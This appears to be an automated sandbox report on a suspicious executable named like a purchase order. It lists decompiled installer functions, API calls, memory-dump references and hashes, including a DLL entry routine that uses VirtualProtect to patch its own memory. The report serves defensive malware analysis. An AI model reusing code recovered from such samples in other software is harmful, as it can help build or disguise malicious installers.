Instruction Fuzzy Hash: AF715671D00229CBDF28CF98C844BADBBB1FF44305F15816AD816BB281C7785A46DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401B06, Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401B06(void* __ebx, void* __edx) {
				intOrPtr _t7;
				void* _t8;
				void _t11;
				void* _t13;
				void* _t21;
				void* _t24;
				void* _t30;
				void* _t33;
				void* _t34;
				void* _t37;

				_t27 = __ebx;
				_t7 =  *((intOrPtr*)(_t37 - 0x1c));
				_t30 =  *0x40af50; // 0x0
				if(_t7 == __ebx) {
					if(__edx == __ebx) {
						_t8 = GlobalAlloc(0x40, 0x404); // executed
						_t34 = _t8;
						_t4 = _t34 + 4; // 0x4
						E004059FF(__ebx, _t30, _t34, _t4,  *((intOrPtr*)(_t37 - 0x24)));
						_t11 =  *0x40af50; // 0x0
						 *_t34 = _t11;
						 *0x40af50 = _t34;
					} else {
						if(_t30 == __ebx) {
							 *((intOrPtr*)(_t37 - 4)) = 1;
						} else {
							_t2 = _t30 + 4; // 0x4
							E004059DD(_t33, _t2);
							_push(_t30);
							 *0x40af50 =  *_t30;
							GlobalFree();
						}
					}
					goto L15;
				} else {
					while(1) {
						_t7 = _t7 - 1;
						if(_t30 == _t27) {
							break;
						}
						_t30 =  *_t30;
						if(_t7 != _t27) {
							continue;
						} else {
							if(_t30 == _t27) {
								break;
							} else {
								_t32 = _t30 + 4;
								E004059DD(0x409b50, _t30 + 4);
								_t21 =  *0x40af50; // 0x0
								E004059DD(_t32, _t21 + 4);
								_t24 =  *0x40af50; // 0x0
								_push(0x409b50);
								_push(_t24 + 4);
								E004059DD();
								L15:
								 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t37 - 4));
								_t13 = 0;
							}
						}
						goto L17;
					}
					_push(0x200010);
					_push(E004059FF(_t27, _t30, _t33, _t27, 0xffffffe8));
					E0040529E();
					_t13 = 0x7fffffff;
				}
				L17:
				return _t13;
			}

0x00401b06
0x00401b06
0x00401b09
0x00401b11
0x00401b59
0x00401b87
0x00401b90
0x00401b92
0x00401b96
0x00401b9b
0x00401ba0
0x00401ba2
0x00401b5b
0x00401b5d
0x0040265c
0x00401b63
0x00401b63
0x00401b68
0x00401b6f
0x00401b70
0x00401b75
0x00401b75
0x00401b5d
0x00000000
0x00401b13
0x00401b13
0x00401b13
0x00401b16
0x00000000
0x00000000
0x00401b1c
0x00401b20
0x00000000
0x00401b22
0x00401b24
0x00000000
0x00401b2a
0x00401b2a
0x00401b34
0x00401b39
0x00401b43
0x00401b48
0x00401b4d
0x00401b51
0x004027b1
0x0040288b
0x0040288e
0x00402894
0x00402894
0x00401b24
0x00000000
0x00401b20
0x004021fb
0x00402208
0x00402209
0x0040220e
0x0040220e
0x00402896
0x0040289a

APIs

GlobalFree.KERNEL32 ref: 00401B75
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401B87

Strings

Call, xrefs: 00401B2D, 00401B33, 00401B4D

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 2dc775666dca31206916f57334fb0a9f74be6216eb206d4775a60ee4480347cc
Instruction ID: dedcc356a049729cc32aa0533657a7b943fc31f5ec42b7739970f76d43a2a4df
Opcode Fuzzy Hash: 2dc775666dca31206916f57334fb0a9f74be6216eb206d4775a60ee4480347cc
Instruction Fuzzy Hash: D221A8B2604202DBD710FBA4DE8595F73A4FB44328724453BF606F32D0EB78A8119B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423eb0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42366c =  *0x42366c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42366c, 0x7530,  *0x423654), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction ID: 9357c62ddf9e7b3c824d0b87f8e4bad160879ee2cb8093492041203a2cf1b2c1
Opcode Fuzzy Hash: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction Fuzzy Hash: A301F431724210ABE7295B389D04B2A36ADF710355F10427BF855F66F1D67CDC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004056B4(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004056b8
0x004056c5
0x004056da
0x004056e0

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\PO# 0499699.exe,80000000,00000003), ref: 004056B8
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction ID: 518821d5ca0a74227a37217cadb520a33af9faec79942caa6648154b48e23ab6
Opcode Fuzzy Hash: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction Fuzzy Hash: DDD09E71658301AFEF098F20DE1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405695(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x00405699
0x004056a2
0x00000000
0x004056ab
0x004056b1

APIs

GetFileAttributesA.KERNELBASE(?,004054A0,?,?,?), ref: 00405699
SetFileAttributesA.KERNEL32(?,00000000), ref: 004056AB

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 6114cdacef20a61ffb1e354697c2a54f95ff97830a0005cd613603337fba2c3c
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: 72C04CB1808501BBD6015B24DF0D81F7B66EB51321B508F35F56DE00F1C7355CA6DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 6FC62A38, Relevance: 1.6, APIs: 1, Instructions: 143
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E6FC62A38(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				void* _t28;
				void* _t29;
				void* _t33;
				void* _t37;
				void* _t40;
				void* _t45;
				void* _t49;
				signed int _t56;
				void* _t61;
				void* _t70;
				intOrPtr _t72;
				signed int _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				void* _t81;
				void* _t87;
				void* _t88;
				void* _t89;
				void* _t90;
				intOrPtr _t93;
				intOrPtr _t94;

				if( *0x6fc64040 != 0 && E6FC6297D(_a4) == 0) {
					 *0x6fc64044 = _t93;
					if( *0x6fc6403c != 0) {
						_t93 =  *0x6fc6403c;
					} else {
						E6FC62F60(E6FC62977(), __ecx);
						 *0x6fc6403c = _t93;
					}
				}
				_t28 = E6FC629AB(_a4);
				_t94 = _t93 + 4;
				if(_t28 <= 0) {
					L9:
					_t29 = E6FC6299F();
					_t72 = _a4;
					_t79 =  *0x6fc64048;
					 *((intOrPtr*)(_t29 + _t72)) = _t79;
					 *0x6fc64048 = _t72;
					E6FC62999();
					_t33 = CreateFileA(??, ??, ??, ??, ??, ??, ??); // executed
					 *0x6fc6401c = _t33;
					 *0x6fc64020 = _t79;
					if( *0x6fc64040 != 0 && E6FC6297D( *0x6fc64048) == 0) {
						 *0x6fc6403c = _t94;
						_t94 =  *0x6fc64044;
					}
					_t80 =  *0x6fc64048;
					_a4 = _t80;
					 *0x6fc64048 =  *((intOrPtr*)(E6FC6299F() + _t80));
					_t37 = E6FC6298B(_t80);
					_pop(_t81);
					if(_t37 != 0) {
						_t40 = E6FC629AB(_t81);
						if(_t40 > 0) {
							_push(_t40);
							_push(E6FC629B6() + _a4 + _v8);
							_push(E6FC629C0());
							if( *0x6fc64040 <= 0 || E6FC6297D(_a4) != 0) {
								_pop(_t88);
								_pop(_t45);
								__eflags =  *((intOrPtr*)(_t88 + _t45)) - 2;
								if(__eflags == 0) {
								}
								asm("loop 0xfffffff5");
							} else {
								_pop(_t89);
								_pop(_t49);
								 *0x6fc6403c =  *0x6fc6403c +  *(_t89 + _t49) * 4;
								asm("loop 0xffffffeb");
							}
						}
					}
					_t107 =  *0x6fc64048;
					if( *0x6fc64048 == 0) {
						 *0x6fc6403c = 0;
					}
					E6FC629E4(_t107, _a4,  *0x6fc6401c,  *0x6fc64020);
					return _a4;
				}
				_push(E6FC629B6() + _a4);
				_t56 = E6FC629BC();
				_v8 = _t56;
				_t77 = _t28;
				_push(_t68 + _t56 * _t77);
				_t70 = E6FC629C8();
				_t87 = E6FC629C4();
				_t90 = E6FC629C0();
				_t61 = _t77;
				if( *((intOrPtr*)(_t90 + _t61)) == 2) {
					_push( *((intOrPtr*)(_t70 + _t61)));
				}
				_push( *((intOrPtr*)(_t87 + _t61)));
				asm("loop 0xfffffff1");
				goto L9;
			}

0x6fc62a48
0x6fc62a59
0x6fc62a66
0x6fc62a7a
0x6fc62a68
0x6fc62a6d
0x6fc62a72
0x6fc62a72
0x6fc62a66
0x6fc62a83
0x6fc62a88
0x6fc62a8e
0x6fc62ad2
0x6fc62ad2
0x6fc62ad7
0x6fc62adc
0x6fc62ae2
0x6fc62ae4
0x6fc62aea
0x6fc62af7
0x6fc62af9
0x6fc62afe
0x6fc62b0b
0x6fc62b1e
0x6fc62b24
0x6fc62b2a
0x6fc62b2b
0x6fc62b31
0x6fc62b3d
0x6fc62b43
0x6fc62b4b
0x6fc62b4c
0x6fc62b4f
0x6fc62b5a
0x6fc62b5c
0x6fc62b68
0x6fc62b6e
0x6fc62b76
0x6fc62ba2
0x6fc62ba3
0x6fc62ba5
0x6fc62ba9
0x6fc62ba9
0x6fc62bb0
0x6fc62b86
0x6fc62b86
0x6fc62b87
0x6fc62b95
0x6fc62b9e
0x6fc62b9e
0x6fc62b76
0x6fc62b5a
0x6fc62bb2
0x6fc62bb9
0x6fc62bbb
0x6fc62bbb
0x6fc62bd4
0x6fc62be2
0x6fc62be2
0x6fc62a99
0x6fc62a9a
0x6fc62a9f
0x6fc62aa3
0x6fc62aa8
0x6fc62abc
0x6fc62abd
0x6fc62abe
0x6fc62ac0
0x6fc62ac5
0x6fc62ac7
0x6fc62ac7
0x6fc62aca
0x6fc62ad0
0x00000000

APIs

CreateFileA.KERNELBASE(00000000), ref: 6FC62AF7

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3712d485507b0b93b001cbf93c1769cd34812dde8b63214e6fba89aa1817e767
Instruction ID: 020f0a77423b32efe9a62d3afd6eeb0ed16d0320d84f67448d4a0458cdfe3bb6
Opcode Fuzzy Hash: 3712d485507b0b93b001cbf93c1769cd34812dde8b63214e6fba89aa1817e767
Instruction Fuzzy Hash: 1541307290C716DFDF11DFA6D8F0BE93775FB85368F104425E605C6280E738A4958BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040304E(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403052
0x00403065
0x0040306d
0x00000000
0x00403074
0x00000000
0x00403076

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EA7,000000FF,00000004,00000000,00000000,00000000), ref: 00403065

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: cf04fcf122da41e7499d2f74f705547a68887b1f6d4f421339b8fb166199a16f
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: 2AE08C32901118BBCF205E619C00EAB3B5CEB053A2F00C032FA14E52A0D630EA11DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 6FC62921, Relevance: 1.5, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x6fc64038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x6fc6404c, 4, 0x40, 0x6fc6403c); // executed
					 *0x6fc6404c = 0xc2;
					 *0x6fc6403c = 0;
					 *0x6fc64044 = 0;
					 *0x6fc64058 = 0;
					 *0x6fc64048 = 0;
					 *0x6fc64040 = 0;
					 *0x6fc64050 = 0;
					 *0x6fc6404e = 0;
				}
				return 1;
			}

0x6fc6292a
0x6fc6292f
0x6fc6293f
0x6fc62947
0x6fc6294e
0x6fc62953
0x6fc62958
0x6fc6295d
0x6fc62962
0x6fc62967
0x6fc6296c
0x6fc6296c
0x6fc62974

APIs

VirtualProtect.KERNELBASE(6FC6404C,00000004,00000040,6FC6403C), ref: 6FC6293F

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7f0200c60378b1bee04fb469e38e34fae3c5fb76140002462272e731b6629d87
Instruction ID: 3c855e9ea033c377e596dbab04f78eb802eb7b6c2d783bc089f209fc3f687ace
Opcode Fuzzy Hash: 7f0200c60378b1bee04fb469e38e34fae3c5fb76140002462272e731b6629d87
Instruction Fuzzy Hash: C3F0A5B150CAA3DECB61CF7A84A47253FF1BB1B364B01452AE358D7241E33440688B11

Uniqueness

Uniqueness Score: -1.00%

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403080(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x0040308e
0x00403094

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DE9,?), ref: 0040308E

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 6FC6101B, Relevance: 1.3, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E6FC6101B(signed int _a4) {
				signed int _t2;
				void* _t4;

				_t2 = E6FC614BB();
				if(_t2 != 0) {
					_t4 = GlobalAlloc(0x40, _t2 * _a4); // executed
					_push(_t4);
				} else {
					_push(_t2);
				}
				return E6FC614E2();
			}

0x6fc6101b
0x6fc61022
0x6fc6102f
0x6fc61035
0x6fc61024
0x6fc61024
0x6fc61024
0x6fc6103c

APIs

GlobalAlloc.KERNELBASE(00000040,?,6FC61019,00000001), ref: 6FC6102F

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: aea6c605991778df2e5d8149323f20166d993d378cc02aef999d98427075e1f9
Instruction ID: a736b0924d2ca16e8c4c8ee2783d7f340cd12e969e59ad86f668056582409640
Opcode Fuzzy Hash: aea6c605991778df2e5d8149323f20166d993d378cc02aef999d98427075e1f9
Instruction Fuzzy Hash: EBC08CB140C383BAD91082BD4AC6E3A22AC9B49F57F10C400F702CA0C0FB24C2040330

Uniqueness

Uniqueness Score: -1.00%

Function 6FC61215, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6FC61215() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x6fc6405c); // executed
				return _t1;
			}

0x6fc6121d
0x6fc61223

APIs

GlobalAlloc.KERNELBASE(00000040,6FC61233,?,6FC612CF,-6FC6404B,6FC611AB,-000000A0), ref: 6FC6121D

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 0240c380e7d7f05044c457c87ef1ee1b1da004df0a56b996939cc511a7fdc12a
Instruction ID: 00782265371c53ad7d5c40ff67c4b92bf224cae5a627a6f71f91c83040e2ea81
Opcode Fuzzy Hash: 0240c380e7d7f05044c457c87ef1ee1b1da004df0a56b996939cc511a7fdc12a
Instruction Fuzzy Hash: F7A00271D4C912DBDE459BE28A1BF343B31F74A721F008040E31554294C7758034DB39

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404EB9(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				int _t94;
				int _t95;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423664;
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404E4D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b || _a12 != _t154) {
								goto L20;
							} else {
								_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
								_a8 = _t87;
								if(_t87 <= _t149) {
									L37:
									return 0;
								}
								_t160 = CreatePopupMenu();
								AppendMenuA(_t160, _t149, 1, E004059FF(_t149, _t154, _t160, _t149, 0xffffffe1));
								_t92 = _a16;
								if(_t92 != 0xffffffff) {
									_t150 = _t92;
									_t94 = _t92 >> 0x10;
								} else {
									GetWindowRect(_t154,  &_v28);
									_t150 = _v28.left;
									_t94 = _v28.top;
								}
								_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
								_t162 = 1;
								if(_t95 == 1) {
									_v60 = _t149;
									_v48 = 0x420478;
									_v44 = 0xfff;
									_a4 = _a8;
									do {
										_a4 = _a4 - 1;
										_t162 = _t162 + SendMessageA(_v8, 0x102d, _a4,  &_v68) + 2;
									} while (_a4 != _t149);
									OpenClipboard(_t149);
									EmptyClipboard();
									_t101 = GlobalAlloc(0x42, _t162);
									_a4 = _t101;
									_t163 = GlobalLock(_t101);
									do {
										_v48 = _t163;
										_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
										 *_t164 = 0xa0d;
										_t163 = _t164 + 2;
										_t149 = _t149 + 1;
									} while (_t149 < _a8);
									GlobalUnlock(_a4);
									SetClipboardData(1, _a4);
									CloseClipboard();
								}
								goto L37;
							}
						}
						if( *0x42364c == _t149) {
							ShowWindow( *0x423e88, 8);
							if( *0x423f0c == _t149) {
								E00404D7B( *((intOrPtr*)( *0x41fc48 + 0x34)), _t149);
							}
							E00403D68(1);
							goto L25;
						}
						 *0x41f840 = 2;
						E00403D68(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00403DF6(_a8, _a12, _a16);
						}
						ShowWindow( *0x423650, _t149);
						ShowWindow(_t154, 8);
						E00403DC4(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423e90;
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423650 = GetDlgItem(_a4, 0x403);
				 *0x423648 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423664 = _t127;
				_v8 = _t127;
				E00403DC4( *0x423650);
				 *0x423654 = E0040461D(4);
				 *0x42366c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403D8F(_a4);
				if(( *0x423e98 & 0x00000003) != 0) {
					ShowWindow( *0x423650, _t149);
					if(( *0x423e98 & 0x00000002) != 0) {
						 *0x423650 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403DC4( *0x423648);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423e98 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404ec2
0x00404ec8
0x00404ed1
0x00404ed4
0x0040506c
0x00405090
0x00405090
0x004050a3
0x004050c1
0x004050c8
0x0040511f
0x00405123
0x00000000
0x0040512a
0x00405132
0x0040513a
0x0040513d
0x00405236
0x00000000
0x00405236
0x0040514c
0x00405158
0x0040515e
0x00405164
0x00405179
0x0040517f
0x00405166
0x0040516b
0x00405171
0x00405174
0x00405174
0x0040518f
0x00405197
0x0040519a
0x004051a3
0x004051a6
0x004051ad
0x004051b4
0x004051bc
0x004051bc
0x004051d3
0x004051d3
0x004051da
0x004051e0
0x004051e9
0x004051f0
0x004051f9
0x004051fb
0x004051fe
0x0040520d
0x0040520f
0x00405215
0x00405216
0x00405217
0x0040521f
0x0040522a
0x00405230
0x00405230
0x00000000
0x0040519a
0x00405123
0x004050d0
0x00405100
0x00405108
0x00405113
0x00405113
0x0040511a
0x00000000
0x0040511a
0x004050d4
0x004050de
0x00000000
0x004050a5
0x004050ab
0x004050e3
0x00000000
0x004050ec
0x004050b4
0x004050b9
0x004050bc
0x00000000
0x004050bc
0x004050a3
0x00404eda
0x00404ede
0x00404ee7
0x00404eee
0x00404ef1
0x00404ef4
0x00404ef7
0x00404ef8
0x00404ef9
0x00404f12
0x00404f15
